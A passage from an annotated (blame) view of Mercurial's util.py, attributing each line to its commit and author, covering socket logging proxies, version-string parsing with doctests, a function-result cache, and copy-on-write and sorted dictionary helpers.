8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1067
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1068 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1069
39097 ed8160e4fea0 util: fix signature of setsockopt in socket observer Augie Fackler <augie@google.com> parents: 38852 diff changeset	1070 def setsockopt(self, res, level, optname, value):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1071 if not self.states:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1072 return
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1073
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1074 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1075 b'%s> setsockopt(%r, %r, %r) -> %r\n'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1076 % (self.name, level, optname, value, res)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1077 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1078
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1079
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1080 def makeloggingsocket(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1081 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1082 fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1083 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1084 reads=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1085 writes=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1086 states=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1087 logdata=False,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1088 logdataapis=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1089 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1090 """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1091
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1092 observer = socketobserver(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1093 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1094 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1095 reads=reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1096 writes=writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1097 states=states,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1098 logdata=logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1099 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1100 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1101 return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1102
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1103
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1104 def version():
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1105 """Return version information if available."""
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1106 try:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	1107 from . import __version__
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1108
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1109 return __version__.version
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1110 except ImportError:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1111 return b'unknown'
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1112
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1113
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1114 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1115 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1116
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1117 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1118 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1119
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1120 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1121 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1122
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1123 >>> v = b'3.6.1+190-df9b73d2d444'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1124 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1125 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1126 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1127 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1128 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1129 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1130
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1131 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1132 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1133
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1134 >>> v = b'3.6'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1135 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1136 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1137 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1138 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1139 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1140 (3, 6, None, None)
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1141
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1142 >>> v = b'3.9-rc'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1143 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1144 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1145 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1146 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1147 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1148 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1149
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1150 >>> v = b'3.9-rc+2-02a8fea4289b'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1151 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1152 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1153 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1154 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1155 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1156 (3, 9, None, 'rc+2-02a8fea4289b')
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1157
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1158 >>> versiontuple(b'4.6rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1159 (4, 6, None, 'rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1160 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1161 (4, 6, None, 'rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1162 >>> versiontuple(b'.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1163 (None, None, None, '.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1164 >>> versiontuple(b'12.34..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1165 (12, 34, None, '..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1166 >>> versiontuple(b'1.2.3.4.5.6')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1167 (1, 2, 3, '.4.5.6')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1168 """
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1169 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1170 v = version()
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1171 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1172 if not m:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1173 vparts, extra = b'', v
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1174 elif m.group(2):
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1175 vparts, extra = m.groups()
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1176 else:
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1177 vparts, extra = m.group(1), None
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1178
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1179 vints = []
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1180 for i in vparts.split(b'.'):
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1181 try:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1182 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1183 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1184 break
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1185 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1186 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1187 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1188
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1189 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1190 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1191 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1192 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1193 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1194 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1195
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1196
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1197 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1198 '''cache the result of function calls'''
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1199 # XXX doesn't handle keywords args
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1200 if func.__code__.co_argcount == 0:
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1201 cache = []
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1202
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1203 def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1204 if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1205 cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1206 return cache[0]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1207
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1208 return f
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1209 cache = {}
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1210 if func.__code__.co_argcount == 1:
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1211 # we gain a small amount of time because
97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1212 # we don't need to pack/unpack the list
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1213 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1214 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1215 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1216 return cache[arg]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1217
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1218 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1219
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1220 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1221 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1222 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1223 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1224
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1225 return f
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1226
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1227
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1228 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1229 """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1230
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1231 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1232 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1233
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1234 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1235 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1236 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1237 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1238 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1239 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1240
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1241 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1242 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1243 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1244 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1245
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1246
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1247 class sortdict(collections.OrderedDict):
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1248 '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1249
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1250 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1251 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1252 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1253 sortdict([('a', 0), ('b', 1)])
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1254 >>> d2.update([(b'a', 2)])
34154 be00af4a1ac5 doctest: coerce dict.keys() to list Yuya Nishihara <yuya@tcha.org> parents: 34152 diff changeset	1255 >>> list(d2.keys()) # should still be in last-set order
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1256 ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1257 '''
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1258
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1259 def __setitem__(self, key, value):
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1260 if key in self:
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1261 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1262 super(sortdict, self).__setitem__(key, value)
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1263
33624 524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1264 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1265 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1266 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1267 if isinstance(src, dict):
43106 d783f945a701 py3: finish porting iteritems() to pycompat and remove source transformer Gregory Szorc <gregory.szorc@gmail.com> parents: 43103 diff changeset	1268 src = pycompat.iteritems(src)
33624 524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1269 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1270 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1271
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1272
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1273 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1274 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1275
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1276 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1277
